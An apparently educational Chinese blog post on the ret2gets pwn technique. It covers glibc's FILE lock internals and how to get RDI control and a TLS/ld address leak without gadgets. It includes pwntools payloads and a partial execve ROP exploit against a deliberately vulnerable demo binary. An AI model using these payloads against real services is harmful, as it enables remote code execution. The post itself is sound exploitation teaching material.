┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
无 gadgets 也能翻盘:ret2gets 能否成为核武器?
~ CuB3y0nd
`ret2gets` 是用于在 `glibc >= 2.34` 没有常用 gadgets,控制不了任何参数的情况下,
通过调用 `gets`,配合 `printf / puts` 等输出函数实现 ld 地址泄漏进而为深入构造 R
OP Chain 做准备的 trick 。

:::tip
此 trick 适用于 `GLIBC >= 2.34,<= 2.41` 的 ROP Chain 构造。
:::

直接上 demo,这里使用的 GLIBC 版本是 `2.41-6ubuntu1_amd64`:

```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99

#include <stdio.h>

int main() {
  char buf[0x20];
  puts("ROP me if you can!");
  gets(buf);

  return 0;
}
```

:::important
`gets` 函数在 C11 中被移除,所以我们编译的时候需要手动指定一个低于 C11 的标准,
比如这里指定了 C99。
:::

如果我们使用 ropper 或者其它同类工具,列出这个程序中包含的 gadgets,我们会发现它
并没有常用于控制参数的 gadgets,我们什么参数也控制不了。

```asm showLineNumbers=false collapse={4-114}
Gadgets
=======


0x000000000040106c: adc dword ptr [rax], eax; call qword ptr [rip + 0x2f53]; hlt
; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040106b: adc dword ptr ss:[rax], eax; call qword ptr [rip + 0x2f53]; 
hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401070: adc eax, 0x2f53; hlt; nop word ptr cs:[rax + rax]; endbr64; 
ret;
0x000000000040109c: adc ecx, dword ptr [rax - 0x75]; add eax, 0x2f2c; test rax, 
rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x000000000040110c: adc edx, dword ptr [rbp + 0x48]; mov ebp, esp; call 0x3090; 
mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401074: add ah, dh; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040106e: add bh, bh; adc eax, 0x2f53; hlt; nop word ptr cs:[rax + rax
]; endbr64; ret;
0x000000000040100e: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1],
 0xd0; add rsp, 8; ret;
0x000000000040107c: add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret
;
0x000000000040115a: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x000000000040115b: add byte ptr [rax], al; add cl, cl; ret;
0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x3016; call rax;
0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x3016; call rax; 
add rsp, 8; ret;
0x00000000004010a2: add byte ptr [rax], al; test rax, rax; je 0x30b0; mov edi, 0
x404020; jmp rax;
0x00000000004010a2: add byte ptr [rax], al; test rax, rax; je 0x30b0; mov edi, 0
x404020; jmp rax; ret;
0x00000000004010e4: add byte ptr [rax], al; test rax, rax; je 0x30f8; mov edi, 0
x404020; jmp rax;
0x000000000040107e: add byte ptr [rax], al; endbr64; ret;
0x0000000000401073: add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; en
dbr64; ret;
0x000000000040115c: add byte ptr [rax], al; leave; ret;
0x00000000004010f6: add byte ptr [rax], al; ret;
0x00000000004010f5: add byte ptr [rax], r8b; ret;
0x000000000040109a: add byte ptr [rbx + rdx + 0x48], dh; mov eax, dword ptr [rip
 + 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x0000000000401099: add byte ptr [rbx + rdx + 0x48], sil; mov eax, dword ptr [ri
p + 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x000000000040111b: add byte ptr [rcx], al; pop rbp; ret;
0x00000000004010e3: add byte ptr cs:[rax], al; test rax, rax; je 0x30f8; mov edi
, 0x404020; jmp rax;
0x000000000040115d: add cl, cl; ret;
0x000000000040106d: add dil, dil; adc eax, 0x2f53; hlt; nop word ptr cs:[rax + r
ax]; endbr64; ret;
0x00000000004010e1: add eax, 0x2efa; test rax, rax; je 0x30f8; mov edi, 0x404020
; jmp rax;
0x000000000040109f: add eax, 0x2f2c; test rax, rax; je 0x30b0; mov edi, 0x404020
; jmp rax;
0x000000000040100a: add eax, 0x2fc9; test rax, rax; je 0x3016; call rax;
0x000000000040100a: add eax, 0x2fc9; test rax, rax; je 0x3016; call rax; add rsp
, 8; ret;
0x0000000000401017: add esp, 8; ret;
0x0000000000401016: add rsp, 8; ret;
0x0000000000401154: call 0x3040; mov eax, 0; leave; ret;
0x0000000000401111: call 0x3090; mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x000000000040106f: call qword ptr [rip + 0x2f53]; hlt; nop word ptr cs:[rax + r
ax]; endbr64; ret;
0x0000000000401014: call rax;
0x0000000000401014: call rax; add rsp, 8; ret;
0x0000000000401006: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x2fc9; te
st rax, rax; je 0x3016; call rax;
0x0000000000401012: je 0x3016; call rax;
0x0000000000401012: je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a7: je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a7: je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x000000000040109b: je 0x30b0; mov rax, qword ptr [rip + 0x2f2c]; test rax, rax;
 je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010e9: je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e9: je 0x30f8; mov edi, 0x404020; jmp rax; nop word ptr [rax + r
ax]; ret;
0x00000000004010dd: je 0x30f8; mov rax, qword ptr [rip + 0x2efa]; test rax, rax;
 je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010ae: jmp rax;
0x00000000004010f0: jmp rax; nop word ptr [rax + rax]; ret;
0x00000000004010ae: jmp rax; ret;
0x000000000040114e: lea eax, [rbp - 0x20]; mov rdi, rax; call 0x3040; mov eax, 0
; leave; ret;
0x000000000040114d: lea rax, [rbp - 0x20]; mov rdi, rax; call 0x3040; mov eax, 0
; leave; ret;
0x0000000000401116: mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401159: mov eax, 0; leave; ret;
0x00000000004010e0: mov eax, dword ptr [rip + 0x2efa]; test rax, rax; je 0x30f8;
 mov edi, 0x404020; jmp rax;
0x000000000040109e: mov eax, dword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0;
 mov edi, 0x404020; jmp rax;
0x0000000000401009: mov eax, dword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
 call rax;
0x0000000000401009: mov eax, dword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
 call rax; add rsp, 8; ret;
0x000000000040110f: mov ebp, esp; call 0x3090; mov byte ptr [rip + 0x2f03], 1; p
op rbp; ret;
0x0000000000401069: mov edi, 0x401136; call qword ptr [rip + 0x2f53]; hlt; nop w
ord ptr cs:[rax + rax]; endbr64; ret;
0x00000000004010a9: mov edi, 0x404020; jmp rax;
0x00000000004010eb: mov edi, 0x404020; jmp rax; nop word ptr [rax + rax]; ret;
0x00000000004010a9: mov edi, 0x404020; jmp rax; ret;
0x0000000000401152: mov edi, eax; call 0x3040; mov eax, 0; leave; ret;
0x00000000004010df: mov rax, qword ptr [rip + 0x2efa]; test rax, rax; je 0x30f8;
 mov edi, 0x404020; jmp rax;
0x000000000040109d: mov rax, qword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0;
 mov edi, 0x404020; jmp rax;
0x0000000000401008: mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
 call rax;
0x0000000000401008: mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
 call rax; add rsp, 8; ret;
0x000000000040110e: mov rbp, rsp; call 0x3090; mov byte ptr [rip + 0x2f03], 1; p
op rbp; ret;
0x0000000000401068: mov rdi, 0x401136; call qword ptr [rip + 0x2f53]; hlt; nop w
ord ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401151: mov rdi, rax; call 0x3040; mov eax, 0; leave; ret;
0x0000000000401078: nop dword ptr [rax + rax]; endbr64; ret;
0x00000000004010f3: nop dword ptr [rax + rax]; ret;
0x0000000000401077: nop dword ptr cs:[rax + rax]; endbr64; ret;
0x00000000004010f2: nop word ptr [rax + rax]; ret;
0x0000000000401076: nop word ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401007: or byte ptr [rax - 0x75], cl; add eax, 0x2fc9; test rax, rax
; je 0x3016; call rax;
0x000000000040111d: pop rbp; ret;
0x000000000040110d: push rbp; mov rbp, rsp; call 0x3090; mov byte ptr [rip + 0x2
f03], 1; pop rbp; ret;
0x0000000000401042: ret 0x2f;
0x0000000000401011: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x00000000004010de: sbb dword ptr [rax - 0x75], ecx; add eax, 0x2efa; test rax, 
rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010a0: sub al, 0x2f; add byte ptr [rax], al; test rax, rax; je 0x30
b0; mov edi, 0x404020; jmp rax;
0x0000000000401165: sub esp, 8; add rsp, 8; ret;
0x0000000000401005: sub esp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax, rax
; je 0x3016; call rax;
0x0000000000401164: sub rsp, 8; add rsp, 8; ret;
0x0000000000401004: sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax, rax
; je 0x3016; call rax;
0x000000000040107a: test byte ptr [rax], al; add byte ptr [rax], al; add byte pt
r [rax], al; endbr64; ret;
0x0000000000401010: test eax, eax; je 0x3016; call rax;
0x0000000000401010: test eax, eax; je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a5: test eax, eax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a5: test eax, eax; je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x00000000004010e7: test eax, eax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e7: test eax, eax; je 0x30f8; mov edi, 0x404020; jmp rax; nop wo
rd ptr [rax + rax]; ret;
0x000000000040100f: test rax, rax; je 0x3016; call rax;
0x000000000040100f: test rax, rax; je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a4: test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a4: test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x00000000004010e6: test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e6: test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax; nop wo
rd ptr [rax + rax]; ret;
0x00000000004010e2: cli; add byte ptr cs:[rax], al; test rax, rax; je 0x30f8; mo
v edi, 0x404020; jmp rax;
0x0000000000401163: cli; sub rsp, 8; add rsp, 8; ret;
0x0000000000401003: cli; sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax
, rax; je 0x3016; call rax;
0x0000000000401083: cli; ret;
0x0000000000401160: endbr64; sub rsp, 8; add rsp, 8; ret;
0x0000000000401000: endbr64; sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test
 rax, rax; je 0x3016; call rax;
0x0000000000401080: endbr64; ret;
0x0000000000401075: hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040115e: leave; ret;
0x000000000040111f: nop; ret;
0x000000000040101a: ret;

111 gadgets found
```

这是因为原先的这些控制寄存器的 gadgets 都是来自于 `__libc_csu_init`,而现在这个
函数因为包含了易于构造 ROP Chain 的 gadgets,在 GLIBC 2.34 中已经被 [patch](http
s://sourceware.org/pipermail/libc-alpha/2021-February/122794.html) 了,导致我们
现在很难再找到有用的 gadgets 。

这里我们在调用 `gets` 的地方下断点,执行 `gets` 之前 `rdi` 指向的是 buf 的栈地址
,`ni`,随便输入什么后,发现 `rdi` 寄存器变成了 `*RDI  0x7ffff7e137c0 (_IO_stdfi
le_0_lock) <- 0`:
定位一下,发现该结构体位于 libc 后的 rw 匿名映射段中:

```asm showLineNumbers=false
pwndbg> vmmap $rdi
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefe
r-relpaths on)
    0x7ffff7e11000     0x7ffff7e13000 rw-p     2000 210000 libc.so.6
->   0x7ffff7e13000     0x7ffff7e20000 rw-p     d000      0 [anon_7ffff7e13] +0x
7c0
    0x7ffff7fb4000     0x7ffff7fb9000 rw-p     5000      0 [anon_7ffff7fb4]
pwndbg> x/10gx $rdi
0x7ffff7e137c0 <_IO_stdfile_0_lock>: 0x0000000000000000 0x0000000000000000
0x7ffff7e137d0 <__pthread_force_elision>: 0x0000000000000000 0x0000000000000000
0x7ffff7e137e0 <__attr_list_lock>: 0x0000000000000000 0x0000000000000000
0x7ffff7e137f0 <init_sigcancel>: 0x0000000000000000 0x0000000000000000
0x7ffff7e13800 <__nptl_threads_events>: 0x0000000000000000 0x0000000000000000
```

此时如果我们再次调用 gets,我们就可以覆盖从 `_IO_stdfile_0_lock` 开始的数据,这
可能会产生一些攻击面。

这里我们先研究我们已经获得的 `_IO_stdfile_0_lock`。

## _IO_stdfile_0_lock

首先简单介绍一下 `_IO_stdfile_0_lock` 是什么,从名字上看,我们就能猜到它是一把「
锁」,肯定是用于多线程安全的,实际上也确实如此,它主要用于锁住 `FILE`。

由于 glibc 支持多线程,许多函数实现需要线程安全。如果存在多个线程可以同时使用同
一个 FILE 结构,那么当有两个线程尝试同时使用一个 FILE 结构时,就会产生条件竞争,
可能会破坏 FILE 结构。解决方案就是加锁。

:::tip
基于 [glibc-2.41](https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/ioget
s.c) 的源码。
:::

```c
char *
_IO_gets (char *buf)
{
  size_t count;
  int ch;
  char *retval;

  _IO_acquire_lock (stdin);
  ch = _IO_getc_unlocked (stdin);
  if (ch == EOF)
    {
      retval = NULL;
      goto unlock_return;
    }
  if (ch == 'n')
    count = 0;
  else
    {
      /* This is very tricky since a file descriptor may be in the
  non-blocking mode. The error flag doesn't mean much in this
  case. We return an error only when there is a new error. */
      int old_error = stdin->_flags & _IO_ERR_SEEN;
      stdin->_flags &= ~_IO_ERR_SEEN;
      buf[0] = (char) ch;
      count = _IO_getline (stdin, buf + 1, INT_MAX, 'n', 0) + 1;
      if (stdin->_flags & _IO_ERR_SEEN)
 {
   retval = NULL;
   goto unlock_return;
 }
      else
 stdin->_flags |= old_error;
    }
  buf[count] = 0;
  retval = buf;
unlock_return:
  _IO_release_lock (stdin);
  return retval;
}

weak_alias (_IO_gets, gets)

link_warning (gets, "the `gets' function is dangerous and should not be used.")
```

函数开始时使用 `_IO_acquire_lock` 获取锁,结束时使用 `_IO_release_lock` 释放锁。
获取锁会告知其它线程 `stdin` 当前正在被使用中,所以其余任何尝试访问 stdin 的线程
都将被强制等待,直到该线程释放锁后,其它线程才可以获取锁。

因此,`FILE` 有一个 [_lock](https://elixir.bootlin.com/glibc/glibc-2.41/source/l
ibio/bits/types/struct_FILE.h#L84) 字段,它是一个指向 [_IO_lock_t](https://elixi
r.bootlin.com/glibc/glibc-2.41/source/sysdeps/nptl/stdio-lock.h#L26) 的指针:

```c {49} collapse={1-46}
struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;

/* During the build of glibc itself, _IO_lock_t will already have been
   defined by internal headers.  */
#ifndef _IO_lock_t_defined
typedef void _IO_lock_t;
#endif

/* The tag name of this struct is _IO_FILE to preserve historic
   C++ mangled names for functions taking FILE* arguments.
   That name should not be used in new code.  */
struct _IO_FILE
{
  int _flags;  /* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr; /* Current read pointer */
  char *_IO_read_end; /* End of get area. */
  char *_IO_read_base; /* Start of putback+get area. */
  char *_IO_write_base; /* Start of put area. */
  char *_IO_write_ptr; /* Current put pointer. */
  char *_IO_write_end; /* End of put area. */
  char *_IO_buf_base; /* Start of reserve area. */
  char *_IO_buf_end; /* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2:24;
  /* Fallback buffer to use when malloc fails to allocate one.  */
  char _short_backupbuf[1];
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
```

```c
typedef struct {
  int lock;
  int cnt;
  void *owner;
} _IO_lock_t;
```

:::important
这个 `_lock` 指针指向的就是我们 `rdi` 中的 `_IO_stdfile_0_lock`,先记住这点,下
面有用。
:::

### _IO_acquire_lock / _IO_release_lock

```c
#define _IO_USER_LOCK 0x8000

# ifdef __EXCEPTIONS
#  define _IO_acquire_lock(_fp) 
  do {                                                                    
    FILE *_IO_acquire_lock_file                                           
 __attribute__((cleanup (_IO_acquire_lock_fct)))                          
 = (_fp);                                                                 
    _IO_flockfile (_IO_acquire_lock_file);
# else
#  define _IO_acquire_lock(_fp) _IO_acquire_lock_needs_exceptions_enabled
# endif
# define _IO_release_lock(_fp) ; } while (0)
```

`__attribute__((cleanup (_IO_acquire_lock_fct))) = (_fp);` 主要就是将 cleanup 函
数 `_IO_acquire_lock_fct` 和 `_fp` 进行一个绑定。使得在 `do { ... } while (0)` 
作用域结束后自动对 `_fp` 调用 `_IO_acquire_lock_fct` 进行 cleanup 。

```c
static inline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (FILE **p)
{
  FILE *fp = *p;
  if ((fp->_flags & _IO_USER_LOCK) == 0)
    _IO_funlockfile (fp);
}
```

`_IO_USER_LOCK` 标志是用来记录当前 I/O 流是否处于由用户显式请求的锁定状态。

`_IO_acquire_lock_fct` 这个 cleanup 函数主要是,若 `FILE` 没有设置 `_IO_USER_LOC
K` 标志,就对该文件解锁。

我们发现这加锁解锁层层封装了好几个宏:

```c
# define _IO_flockfile(_fp) 
  if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)
# define _IO_funlockfile(_fp) 
  if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)->_lock)
```

如果用户没有显示请求上锁/解锁,就调用后面的函数,否则说明用户之前已经调用过 `flo
ckfile` 或者 `funlockfile`,这个 if 将确保它不会重复上锁/解锁。

这还没完,真正执行最后上锁解锁操作的是下面的 `_IO_lock_lock` 和 `_IO_lock_unlock
`。

### _IO_lock_lock / _IO_lock_unlock

```c
/* Initializers for lock.  */
#define LLL_LOCK_INITIALIZER (0)
#define LLL_LOCK_INITIALIZER_LOCKED (1)

#define _IO_lock_lock(_name) 
  do {                                               
    void *__self = THREAD_SELF;                      
    if (SINGLE_THREAD_P && (_name).owner == NULL)    
      {                                              
 (_name).lock = LLL_LOCK_INITIALIZER_LOCKED;         
 (_name).owner = __self;                             
      }                                              
    else if ((_name).owner != __self)                
      {                                              
 lll_lock ((_name).lock, LLL_PRIVATE);               
 (_name).owner = __self;                             
      }                                              
    else                                             
      ++(_name).cnt;                                 
  } while (0)

#define _IO_lock_unlock(_name) 
  do {                                               
    if (SINGLE_THREAD_P && (_name).cnt == 0)         
      {                                              
 (_name).owner = NULL;                               
 (_name).lock = 0;                                   
      }                                              
    else if ((_name).cnt == 0)                       
      {                                              
 (_name).owner = NULL;                               
 lll_unlock ((_name).lock, LLL_PRIVATE);             
      }                                              
    else                                             
      --(_name).cnt;                                 
  } while (0)
```

这里的 `_name` 即 `_IO_stdfile_0_lock`。`owner` 字段存储当前持有锁的线程的 `TLS`
 结构体地址。

加锁时,先获取当前线程 TLS 结构体地址,即 `THREAD_SELF`,然后分三种情况:

1. 单线程优化:如果是单线程环境并且锁没被占用,则直接把锁设为 `LOCKED`,并设置 `
owner`
2. 多线程竞争:如果 `(_name).owner != __self`,即锁不属于当前线程,是其他线程持
有,则调用 `lll_lock()`,阻塞直到锁可用后再尝试获取锁
3. 递归加锁:如果锁属于当前线程,说明同一线程再次加锁,则增加计数器 `cnt`

:::tip
有关 `lll_lock()` 的作用,简单来说就是:无论锁当前是否空闲,我调用它,都能保证最
终自己持有这个锁(要么立刻成功,要么阻塞直到可用)。

因为它的实现是对 `futex (fast userspace mutex)` 的封装,futex 的特性为:

- 无竞争路径:如果锁的内部状态是「未锁」,原子操作直接把它设为「已锁」,立即返回
,非常快
- 有竞争路径:如果发现锁已被其它线程持有,就会进入 futex 系统调用,把自己挂到等
待队列上,一旦对方解锁唤醒,就可以立即获取到锁

  :::

释放锁的过程也很好理解:

1. 单线程优化:如果 `cnt` 为 0(没有递归加锁),直接清空 `owner`,把锁标记为解锁
2. 多线程情况:如果 `cnt` 为 0,清空 `owner`,并调用 `lll_unlock()` 释放 futex 
锁
3. 递归解锁:如果 `cnt > 0`,说明是递归锁的一层,只会将 `cnt` 减一,不真正释放锁

### _IO_stdfile_0_lock in RDI ?

现在我们研究研究为啥 rdi 是 `_IO_stdfile_0_lock` 而不是别的。这里如果你使用源码
级调试的话会看得更清楚一点。

根据上面的分析,我们知道 `gets` 在最后返回的时候会调用 `_IO_release_lock (stdin)
` 来释放锁。如果你还没忘记的话,我们定义 `_IO_acquire_lock (_fp)` 的时候设置了 c
leanup 函数,将 `_fp` 和 `_IO_acquire_lock_fct` 绑定,一旦离开此作用域,就会自动
调用 `_IO_acquire_lock_fct (_fp)`,而它内部又是通过 `_IO_funlockfile (fp)` 调用
了 `_IO_lock_unlock (*(_fp)->_lock)`,完成这一整个释放锁的流程并返回。而最后调用
的 `_IO_lock_unlock (*(_fp)->_lock)` 使用的参数正是 `_IO_stdfile_0_lock`。

很关键的一点就是,`_IO_release_lock(_fp)` 也属于这个定义域,所以如果 `_IO_releas
e_lock(_fp)` 返回了,也会自动调用上面设置的 cleanup 函数。
观察上面的调试输出,我们执行完 `_IO_lock_unlock (*(_fp)->_lock)` 后就直接返回到
了 `main`,并且执行完这个函数后在 epilogue 阶段并没有恢复 rdi,也就是说 rdi 会沿
用最后一个被调用的函数的 rdi,即 `_IO_stdfile_0_lock` 这个值。

<em>
呼呼~长舒一口气~写到这里已经凌晨三点了,因为白天上了一天课(简直是虚度光阴……)
,只能晚上科研力。好在明天课免修了,我可以一直睡到早上十点半再起来,七个小时,应
该也够我睡的了 LOL

要我说,这才是大学生活该有的样子啊,哈哈哈~
</em>

至此,我们已经搞清楚了整个流程,下面就研究如何利用吧~

## Attack

### Controlling RDI

由于我们再次调用 gets 就会向 rdi,也就是 `_IO_stdfile_0_lock` 中写入数据,那如果
我们将 `/bin/sh` 写在这里,那 rdi 就变成了指向 `/bin/sh` 的字符串指针,效果与 `p
op rdi; ret` 相当。此时如果我们可以调用 system 的话,就能 getshell 了。

根据上面的分析,我们这种 `gets` 的情况最后必然会通过 `((_fp)->_flags & _IO_USER_
LOCK) == 0` 检测,进而调用 `_IO_lock_unlock (*(_fp)->_lock)`,所以我们只需要注意
不要让这个函数内部执行的东西妨碍我们的利用即可。

我们发现,只要执行 `_IO_lock_unlock` 时 `cnt` 不为 0 就可以不带什么 side effect 
的安全地返回,不过它会将 `cnt` 减一,如果我们直接传入 `/bin/sh` 的话,默认已经覆
盖到了 `cnt`,但是由于减一会破坏我们的字符串,所以我们需要手动给那个位置的值加一
。

```python
payload = flat(
    b"A" * 0x28,
    elf.plt["gets"],
)
target.sendlineafter(b"ROP me if you can!", payload)

payload = flat(
    b"/bin",
    p8(u8(b"/") + 1),
    b"sh",
)
target.sendline(payload)
```
从上图我们可以看到,rdi 已经变成了我们的预期值,尽管会触发 SIGSEGV,但这也是必然
的,毕竟我们还没有写入后续的 ROP Chain 。

:::tip
如果我们不手动将 `_IO_stdfile_0_lock` 的内容还原,`/bin/sh` 就会一直存在在那里,
所以后续调用 `gets` 我们都会再次令 rdi 指向 `/bin/sh`。而执行过程中的加锁虽然会
增加 `cnt`,但是执行完也会相应的进行解锁,减去 `cnt`,所以对我们写入的字符串不会
产生什么影响。
:::

### Leaking libc / ld

解决了控制 rdi 的问题后,接下来介绍几种泄漏 libc / ld 的方法。

#### printf

如果我们可以调用 `printf`,那就可以用和上面一样的方法,通过 `%?$p` 然后返回到 pr
intf 的方式泄漏任意地址。

这里就不做单独的演示了,相信实践起来还是很简单的。

#### puts

倘若没有 `printf`,只有 `puts` 的话,我们就可以通过输出 `_lock.owner` 的方式泄漏
 TLS 的值,它相对于 ld 有着一个固定偏移,但是和 libc 之间没有固定偏移。

:::caution
所以下面 [ret2gets](#references) 中写的是有问题的,作者认为它和 libc 之间存在固
定偏移,但很显然 TLS 地址不属于 libc 的范围,mmap 的映射区和 libc 之间有个较大的
可映射空间,每次都会映射到这个空间内的随机位置。不过如果我们计算它与 ld 之间的偏
移,会发现这两者之间却存在固定偏移。

那 ld 中是否存在可用的 gadgets 呢?我看了下 glibc 2.41 的 ld,发现里面几乎提供了
控制每一个参数的 gadgets,甚至还有 syscall,尽管没有 onegadgets,但是我相信让你
用这些 gadgets 手动构造一个 `execve` 启 shell 绝对是手拿把掐的 xD

当然,构造 sigreturn 就可以控制所有寄存器了,不是吗?感觉又掌握了一个堪比核武器
的 trick LOL
:::

这里我只对高版本 glibc 使用 `puts` 泄漏 TLS 地址做一个总结,低版本也能用这个方法
泄漏,但是没必要。不过我相信你学会高版本中泄漏 TLS 的方法后对于低版本怎么操作一
定也没有问题。

首先回顾一下高版本 glibc 中[上锁/解锁](#_io_lock_lock--_io_lock_unlock)的代码。
当我们首次调用 `gets` 的时候,会先进行一个上锁的操作,由于我们现在是单线程程序,
且 `owner` 为 NULL,所以肯定会进入 `SINGLE_THREAD_P && (_name).owner == NULL` 检
测。这就会将锁设置为 `LLL_LOCK_INITIALIZER_LOCKED`,即上锁状态,然后设置 `owner`
 为当前 TLS 结构体地址。

之后 `gets` 将要返回时会执行解锁函数,按照现在的状态来看的话,我们必定会进入 `SI
NGLE_THREAD_P && (_name).cnt == 0` 中,这会将 `owner` 和 `lock` 都清空。那就没法
用 puts 泄漏 owner 保存的 TLS 结构体地址了。

因此我们第一次调用 `gets` 可以令 rdi 指向 `_IO_stdfile_0_lock`,接着再次调用 `ge
ts`,就可以向 rdi 写入数据,写什么呢?肯定是要写能绕过检测的内容咯。

此时我们不需要管上锁逻辑,只要关注解锁的时候,不要让它把 `owner` 清空即可,那首
先就应该令 `(_name).cnt == 0` 不成立,将 `cnt` 填充为四字节垃圾值,此时 else if 
也不会进入,而是进入 else 减少 `cnt` 的值。

_PS: Reference 中那篇文章这里说要绕过 `_IO_lock_lock`,我怀疑作者怕是犯糊涂了,
事实上我们这里根本不需要关心如何绕过上锁函数的逻辑……_

可以看下图,是第二次 gets 后将 `cnt` 填充为垃圾字节后的结果,此时 `owner` 还持有
着一个地址,但并不是 TLS 地址(虽然但是,这并不妨碍我们接下来泄漏 TLS):
之后它会将 `cnt` 减一,就变成了 `0x4141414000000000`。

但是此时我们还不能直接通过 `puts` 连带泄漏 TLS 地址,因为这里面包含了四个空字节
。解决方法是再调用一次 `gets`,覆盖 `lock` 的值即可。同时,由于再次调用 gets 会
再次执行上锁函数,而它将发现 `(_name).owner != __self`,进入 else if 分支,将 `o
wner` 重置为正确的 TLS 地址。

> 你可能会想,为什么不直接在第二次 gets 的时候顺便覆盖 `lock` 呢?这是因为 `gets
` 会在字符串结束后写入 `x00`,破坏 TLS 结构体地址,所以我们需要分多次慢慢来。

那么我们输入四个 junk value padding 掉 `lock` 就会导致 `cnt` 低位变成 `x00`,如
下图:
但是紧接着就会将 `cnt` 自减,`x00` 变成 `xff`:
而此时,我们发现已经不存在截断 `puts` 输出的空字节了,此时我们可以直接通过 `puts
` 输出 `_IO_stdfile_0_lock`,这会连带泄漏 TLS 结构体的地址,减掉它与 ld 的固定偏
移就拿到 ld 基地址了。同时,由于 ld 中存在大量 gadgets,我们可以尽情抒写 ROP 狂
想曲 LOL

## Exploit

### Manually call execve

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
    u64,
)


FILE = "./vuln_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
ld = ELF("./ld-linux-x86-64.so.2")
rop = ROP(ld)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x28,
        elf.plt["gets"],
        elf.plt["gets"],
        elf.plt["puts"],
        elf.sym["main"],
    )
    raw_input("DEBUG")
    target.sendlineafter(b"ROP me if you can!", payload)

    payload = flat(
        p32(0x0),  # lock
        b"A" * 0x4,  # cnt
    )
    target.sendline(payload)
    target.sendline(b"BBBB")

    target.recvline()
    tls = u64(target.recvline().strip()[8:].ljust(0x8, b"x00"))
    ld = tls + 0xC8C0
    target.success(f"tls: {hex(tls)}")
    target.success(f"ld: {hex(ld)}")

    gets = 0x40114D
    payload = flat(
        b"A" * 0x20,
        elf.bss() + 0xF00,
        gets,
    )
    target.sendlineafter(b"ROP me if you can!", payload)

    payload = flat(
        b"A" * 0x20,
        b"/bin/shx00",
        ld + rop.find_gadget(["pop rdi", "pop rbp", "ret"])[0],
        elf.bss() + 0xF00,
        0x0,
        ld + rop.find_gadget(["pop rsi", "pop rbp", "ret"])[0],
        0x0,
        0x404F60,
        ld + rop.find_gadget(["pop rdx", "leave", "ret"])[0],
        0x0,
        ld + rop.find_gadget(["pop rax", "ret"])[0],
        0x3B,
